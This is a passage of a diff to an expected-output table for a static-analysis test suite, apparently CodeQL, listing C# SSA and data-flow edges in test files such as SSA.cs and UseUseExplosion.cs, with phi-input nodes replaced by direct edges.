| SSA.cs:110:9:110:32 | SSA phi(nonSink3) | -| SSA.cs:106:21:106:28 | [post] access to local variable nonSink3 | SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) | -| SSA.cs:106:21:106:28 | access to local variable nonSink3 | SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) | -| SSA.cs:108:17:108:29 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | -| SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | -| SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) | -| SSA.cs:108:21:108:28 | [post] access to local variable nonSink3 | SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) | -| SSA.cs:108:21:108:28 | access to local variable nonSink3 | SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) | -| SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 | -| SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted | -| SSA.cs:110:9:110:32 | SSA phi(nonSink3) | SSA.cs:110:23:110:30 | access to local variable nonSink3 | +| SSA.cs:106:17:106:29 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 | +| SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted | +| SSA.cs:106:21:106:28 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | +| SSA.cs:106:21:106:28 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | +| SSA.cs:108:17:108:29 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 | +| SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted | +| SSA.cs:108:21:108:28 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | +| SSA.cs:108:21:108:28 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | | SSA.cs:110:23:110:30 | SSA def(nonSink3) | SSA.cs:111:15:111:22 | access to local variable nonSink3 | | SSA.cs:110:23:110:30 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | SSA def(nonSink3) | | SSA.cs:110:23:110:30 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | SSA def(nonSink3) | @@ -826,15 +790,14 @@ | SSA.cs:114:9:114:14 | access to field S | SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | | SSA.cs:114:9:114:14 | access to field S | SSA.cs:117:13:117:18 | access to field S | | SSA.cs:114:9:114:28 | access to field SsaFieldSink1 | SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | -| SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | SSA.cs:115:13:115:33 | [input] SSA phi(this.S.SsaFieldSink1) | +| SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) | | SSA.cs:114:32:114:33 | "" | SSA.cs:114:9:114:28 | access to field SsaFieldSink1 | | SSA.cs:115:13:115:22 | [post] access to parameter nonTainted | SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | | SSA.cs:115:13:115:22 | [post] access to parameter nonTainted | SSA.cs:118:17:118:26 | access to parameter nonTainted | | SSA.cs:115:13:115:22 | access to parameter nonTainted | SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | | SSA.cs:115:13:115:22 | access to parameter nonTainted | SSA.cs:118:17:118:26 | access to parameter nonTainted | -| SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) | -| SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) | -| SSA.cs:115:13:115:33 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) | +| SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted | +| SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | SSA.cs:123:23:123:28 | access to field S | | SSA.cs:117:13:117:16 | [post] this access | SSA.cs:119:21:119:24 | this access | | SSA.cs:117:13:117:16 | [post] this access | SSA.cs:121:21:121:24 | this access | | SSA.cs:117:13:117:16 | this access | SSA.cs:119:21:119:24 | this access | @@ -851,27 +814,20 @@ | SSA.cs:118:17:118:26 | [post] access to parameter nonTainted | SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | | SSA.cs:118:17:118:26 | access to parameter nonTainted | SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | | SSA.cs:118:17:118:26 | access to parameter nonTainted | SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | -| SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) | -| SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) | -| SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) | +| SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted | | SSA.cs:119:21:119:24 | [post] this access | SSA.cs:123:23:123:26 | this access | | SSA.cs:119:21:119:24 | this access | SSA.cs:123:23:123:26 | this access | -| SSA.cs:119:21:119:26 | [post] access to field S | SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) | -| SSA.cs:119:21:119:26 | access to field S | SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) | -| SSA.cs:119:21:119:40 | [post] access to field SsaFieldSink1 | SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) | -| SSA.cs:119:21:119:40 | access to field SsaFieldSink1 | SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) | -| SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) | -| SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) | -| SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) | +| SSA.cs:119:21:119:26 | [post] access to field S | SSA.cs:123:23:123:28 | access to field S | +| SSA.cs:119:21:119:26 | access to field S | SSA.cs:123:23:123:28 | access to field S | +| SSA.cs:119:21:119:40 | [post] access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) | +| SSA.cs:119:21:119:40 | access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) | +| SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted | | SSA.cs:121:21:121:24 | [post] this access | SSA.cs:123:23:123:26 | this access | | SSA.cs:121:21:121:24 | this access | SSA.cs:123:23:123:26 | this access | -| SSA.cs:121:21:121:26 | [post] access to field S | SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) | -| SSA.cs:121:21:121:26 | access to field S | SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) | -| SSA.cs:121:21:121:40 | [post] access to field SsaFieldSink1 | SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) | -| SSA.cs:121:21:121:40 | access to field SsaFieldSink1 | SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) | -| SSA.cs:123:9:123:30 | SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted | -| SSA.cs:123:9:123:30 | SSA phi read(this.S) | SSA.cs:123:23:123:28 | access to field S | -| SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) | +| SSA.cs:121:21:121:26 | [post] access to field S | SSA.cs:123:23:123:28 | access to field S | +| SSA.cs:121:21:121:26 | access to field S | SSA.cs:123:23:123:28 | access to field S | +| SSA.cs:121:21:121:40 | [post] access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) | +| SSA.cs:121:21:121:40 | access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) | | SSA.cs:123:23:123:26 | [post] this access | SSA.cs:124:15:124:18 | this access | | SSA.cs:123:23:123:26 | this access | SSA.cs:124:15:124:18 | this access | | SSA.cs:123:23:123:28 | SSA def(this.S) | SSA.cs:124:15:124:20 | access to field S | @@ -892,12 +848,11 @@ | SSA.cs:127:9:127:14 | access to field S | SSA.cs:128:13:128:33 | [input] SSA phi read(this.S) | | SSA.cs:127:9:127:14 | access to field S | SSA.cs:130:13:130:18 | access to field S | | SSA.cs:127:9:127:31 | access to field SsaFieldNonSink0 | SSA.cs:127:9:127:36 | SSA def(this.S.SsaFieldNonSink0) | -| SSA.cs:127:9:127:36 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:128:13:128:33 | [input] SSA phi(this.S.SsaFieldNonSink0) | +| SSA.cs:127:9:127:36 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) | | SSA.cs:127:35:127:36 | "" | SSA.cs:127:9:127:31 | access to field SsaFieldNonSink0 | | SSA.cs:128:13:128:22 | [post] access to parameter nonTainted | SSA.cs:131:17:131:26 | access to parameter nonTainted | | SSA.cs:128:13:128:22 | access to parameter nonTainted | SSA.cs:131:17:131:26 | access to parameter nonTainted | -| SSA.cs:128:13:128:33 | [input] SSA phi read(this.S) | SSA.cs:136:9:136:30 | SSA phi read(this.S) | -| SSA.cs:128:13:128:33 | [input] SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) | +| SSA.cs:128:13:128:33 | [input] SSA phi read(this.S) | SSA.cs:136:23:136:28 | access to field S | | SSA.cs:130:13:130:16 | [post] this access | SSA.cs:132:21:132:24 | this access | | SSA.cs:130:13:130:16 | [post] this access | SSA.cs:134:21:134:24 | this access | | SSA.cs:130:13:130:16 | this access | SSA.cs:132:21:132:24 | this access | @@ -910,24 +865,18 @@ | SSA.cs:130:13:130:46 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:132:21:132:43 | access to field SsaFieldNonSink0 | | SSA.cs:130:13:130:46 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:134:21:134:43 | access to field SsaFieldNonSink0 | | SSA.cs:130:39:130:46 | access to local variable nonSink0 | SSA.cs:130:13:130:35 | access to field SsaFieldNonSink0 | -| SSA.cs:132:17:132:44 | [input] SSA phi read(this.S) | SSA.cs:136:9:136:30 | SSA phi read(this.S) | -| SSA.cs:132:17:132:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) | | SSA.cs:132:21:132:24 | [post] this access | SSA.cs:136:23:136:26 | this access | | SSA.cs:132:21:132:24 | this access | SSA.cs:136:23:136:26 | this access | -| SSA.cs:132:21:132:26 | [post] access to field S | SSA.cs:132:17:132:44 | [input] SSA phi read(this.S) | -| SSA.cs:132:21:132:26 | access to field S | SSA.cs:132:17:132:44 | [input] SSA phi read(this.S) | -| SSA.cs:132:21:132:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:132:17:132:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | -| SSA.cs:132:21:132:43 | access to field SsaFieldNonSink0 | SSA.cs:132:17:132:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | -| SSA.cs:134:17:134:44 | [input] SSA phi read(this.S) | SSA.cs:136:9:136:30 | SSA phi read(this.S) | -| SSA.cs:134:17:134:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) | +| SSA.cs:132:21:132:26 | [post] access to field S | SSA.cs:136:23:136:28 | access to field S | +| SSA.cs:132:21:132:26 | access to field S | SSA.cs:136:23:136:28 | access to field S | +| SSA.cs:132:21:132:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) | +| SSA.cs:132:21:132:43 | access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) | | SSA.cs:134:21:134:24 | [post] this access | SSA.cs:136:23:136:26 | this access | | SSA.cs:134:21:134:24 | this access | SSA.cs:136:23:136:26 | this access | -| SSA.cs:134:21:134:26 | [post] access to field S | SSA.cs:134:17:134:44 | [input] SSA phi read(this.S) | -| SSA.cs:134:21:134:26 | access to field S | SSA.cs:134:17:134:44 | [input] SSA phi read(this.S) | -| SSA.cs:134:21:134:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:134:17:134:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | -| SSA.cs:134:21:134:43 | access to field SsaFieldNonSink0 | SSA.cs:134:17:134:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | -| SSA.cs:136:9:136:30 | SSA phi read(this.S) | SSA.cs:136:23:136:28 | access to field S | -| SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) | +| SSA.cs:134:21:134:26 | [post] access to field S | SSA.cs:136:23:136:28 | access to field S | +| SSA.cs:134:21:134:26 | access to field S | SSA.cs:136:23:136:28 | access to field S | +| SSA.cs:134:21:134:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) | +| SSA.cs:134:21:134:43 | access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) | | SSA.cs:136:23:136:26 | [post] this access | SSA.cs:137:15:137:18 | this access | | SSA.cs:136:23:136:26 | this access | SSA.cs:137:15:137:18 | this access | | SSA.cs:136:23:136:28 | SSA def(this.S) | SSA.cs:137:15:137:20 | access to field S | @@ -940,12 +889,10 @@ | SSA.cs:146:13:146:13 | access to parameter t | SSA.cs:146:13:146:13 | (...) ... | | SSA.cs:146:13:146:13 | access to parameter t | SSA.cs:149:17:149:17 | access to parameter t | | SSA.cs:147:13:147:13 | access to parameter t | SSA.cs:147:13:147:26 | SSA def(t) | -| SSA.cs:147:13:147:26 | SSA def(t) | SSA.cs:147:13:147:26 | [input] SSA phi(t) | -| SSA.cs:147:13:147:26 | [input] SSA phi(t) | SSA.cs:144:17:144:26 | SSA phi(t) | +| SSA.cs:147:13:147:26 | SSA def(t) | SSA.cs:144:17:144:26 | SSA phi(t) | | SSA.cs:147:17:147:26 | default(...) | SSA.cs:147:13:147:13 | access to parameter t | | SSA.cs:149:13:149:13 | access to parameter t | SSA.cs:149:13:149:17 | SSA def(t) | -| SSA.cs:149:13:149:17 | SSA def(t) | SSA.cs:149:13:149:17 | [input] SSA phi(t) | -| SSA.cs:149:13:149:17 | [input] SSA phi(t) | SSA.cs:144:17:144:26 | SSA phi(t) | +| SSA.cs:149:13:149:17 | SSA def(t) | SSA.cs:144:17:144:26 | SSA phi(t) | | SSA.cs:149:17:149:17 | access to parameter t | SSA.cs:149:13:149:13 | access to parameter t | | SSA.cs:152:36:152:36 | SSA param(t) | SSA.cs:154:13:154:13 | access to parameter t | | SSA.cs:152:36:152:36 | t | SSA.cs:152:36:152:36 | SSA param(t) | @@ -953,8 +900,7 @@ | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:154:13:154:21 | [input] SSA phi(t) | | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:155:25:155:25 | access to parameter t | | SSA.cs:154:13:154:21 | [input] SSA phi(t) | SSA.cs:152:17:152:28 | SSA phi(t) | -| SSA.cs:155:13:155:26 | [input] SSA phi(t) | SSA.cs:152:17:152:28 | SSA phi(t) | -| SSA.cs:155:25:155:25 | SSA def(t) | SSA.cs:155:13:155:26 | [input] SSA phi(t) | +| SSA.cs:155:25:155:25 | SSA def(t) | SSA.cs:152:17:152:28 | SSA phi(t) | | SSA.cs:155:25:155:25 | access to parameter t | SSA.cs:155:25:155:25 | SSA def(t) | | SSA.cs:166:10:166:13 | this | SSA.cs:166:19:166:22 | this access | | SSA.cs:166:28:166:31 | null | SSA.cs:166:19:166:24 | access to field S | @@ -963,29 +909,22 @@ | SSA.cs:168:35:168:35 | SSA param(i) | SSA.cs:171:13:171:13 | access to parameter i | | SSA.cs:168:35:168:35 | i | SSA.cs:168:35:168:35 | SSA param(i) | | SSA.cs:170:16:170:23 | access to local variable ssaSink5 | SSA.cs:170:16:170:28 | SSA def(ssaSink5) | -| SSA.cs:170:16:170:28 | SSA def(ssaSink5) | SSA.cs:171:13:171:19 | [input] SSA phi(ssaSink5) | +| SSA.cs:170:16:170:28 | SSA def(ssaSink5) | SSA.cs:180:15:180:22 | access to local variable ssaSink5 | | SSA.cs:170:27:170:28 | "" | SSA.cs:170:16:170:23 | access to local variable ssaSink5 | | SSA.cs:171:13:171:13 | access to parameter i | SSA.cs:171:13:171:15 | SSA def(i) | -| SSA.cs:171:13:171:15 | SSA def(i) | SSA.cs:174:13:178:13 | [input] SSA phi(i) | -| SSA.cs:171:13:171:19 | [input] SSA phi(ssaSink5) | SSA.cs:180:9:180:24 | SSA phi(ssaSink5) | +| SSA.cs:171:13:171:15 | SSA def(i) | SSA.cs:174:20:174:20 | access to parameter i | | SSA.cs:173:13:173:20 | access to local variable ssaSink5 | SSA.cs:173:13:173:30 | SSA def(ssaSink5) | -| SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:174:13:178:13 | [input] SSA phi read(ssaSink5) | +| SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | | SSA.cs:173:24:173:30 | access to parameter tainted | SSA.cs:173:13:173:20 | access to local variable ssaSink5 | -| SSA.cs:174:13:178:13 | [input] SSA phi read(ssaSink5) | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | -| SSA.cs:174:13:178:13 | [input] SSA phi(i) | SSA.cs:174:20:174:20 | SSA phi(i) | | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | SSA.cs:174:20:174:26 | [input] SSA phi(ssaSink5) | | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | SSA.cs:176:21:176:28 | access to local variable ssaSink5 | -| SSA.cs:174:20:174:20 | SSA phi(i) | SSA.cs:174:20:174:20 | access to parameter i | | SSA.cs:174:20:174:20 | access to parameter i | SSA.cs:174:20:174:22 | SSA def(i) | -| SSA.cs:174:20:174:22 | SSA def(i) | SSA.cs:177:17:177:29 | [input] SSA phi(i) | -| SSA.cs:174:20:174:26 | [input] SSA phi(ssaSink5) | SSA.cs:180:9:180:24 | SSA phi(ssaSink5) | +| SSA.cs:174:20:174:22 | SSA def(i) | SSA.cs:174:20:174:20 | access to parameter i | +| SSA.cs:174:20:174:26 | [input] SSA phi(ssaSink5) | SSA.cs:180:15:180:22 | access to local variable ssaSink5 | | SSA.cs:176:21:176:28 | [post] access to local variable ssaSink5 | SSA.cs:177:21:177:28 | access to local variable ssaSink5 | | SSA.cs:176:21:176:28 | access to local variable ssaSink5 | SSA.cs:177:21:177:28 | access to local variable ssaSink5 | -| SSA.cs:177:17:177:29 | [input] SSA phi read(ssaSink5) | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | -| SSA.cs:177:17:177:29 | [input] SSA phi(i) | SSA.cs:174:20:174:20 | SSA phi(i) | -| SSA.cs:177:21:177:28 | [post] access to local variable ssaSink5 | SSA.cs:177:17:177:29 | [input] SSA phi read(ssaSink5) | -| SSA.cs:177:21:177:28 | access to local variable ssaSink5 | SSA.cs:177:17:177:29 | [input] SSA phi read(ssaSink5) | -| SSA.cs:180:9:180:24 | SSA phi(ssaSink5) | SSA.cs:180:15:180:22 | access to local variable ssaSink5 | +| SSA.cs:177:21:177:28 | [post] access to local variable ssaSink5 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | +| SSA.cs:177:21:177:28 | access to local variable ssaSink5 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | | Splitting.cs:3:18:3:18 | SSA param(b) | Splitting.cs:6:13:6:13 | access to parameter b | | Splitting.cs:3:18:3:18 | b | Splitting.cs:3:18:3:18 | SSA param(b) | | Splitting.cs:3:28:3:34 | SSA param(tainted) | Splitting.cs:5:17:5:23 | access to parameter tainted | @@ -1805,509 +1744,408 @@ | UseUseExplosion.cs:24:1689:24:1692 | access to property Prop | UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(this.Prop) | | UseUseExplosion.cs:24:1689:24:1692 | this access | UseUseExplosion.cs:24:1708:24:1713 | this access | | UseUseExplosion.cs:24:1689:24:1692 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1699:24:1701 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | +| UseUseExplosion.cs:24:1699:24:1701 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1699:24:1701 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | -| UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1708:24:1713 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1708:24:1713 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1712:24:1712 | access to local variable x | UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1712:24:1712 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1723:24:1728 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1723:24:1728 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1727:24:1727 | access to local variable x | UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1727:24:1727 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1738:24:1743 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1738:24:1743 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1742:24:1742 | access to local variable x | UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1742:24:1742 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1753:24:1758 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1753:24:1758 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1757:24:1757 | access to local variable x | UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1757:24:1757 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1768:24:1773 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1768:24:1773 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1772:24:1772 | access to local variable x | UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1772:24:1772 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1783:24:1788 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1783:24:1788 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1787:24:1787 | access to local variable x | UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1787:24:1787 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1798:24:1803 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1798:24:1803 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1802:24:1802 | access to local variable x | UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1802:24:1802 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1813:24:1818 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1813:24:1818 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1817:24:1817 | access to local variable x | UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1817:24:1817 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1828:24:1833 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1828:24:1833 | this access | UseUseExplosion.cs:25:13:25:16 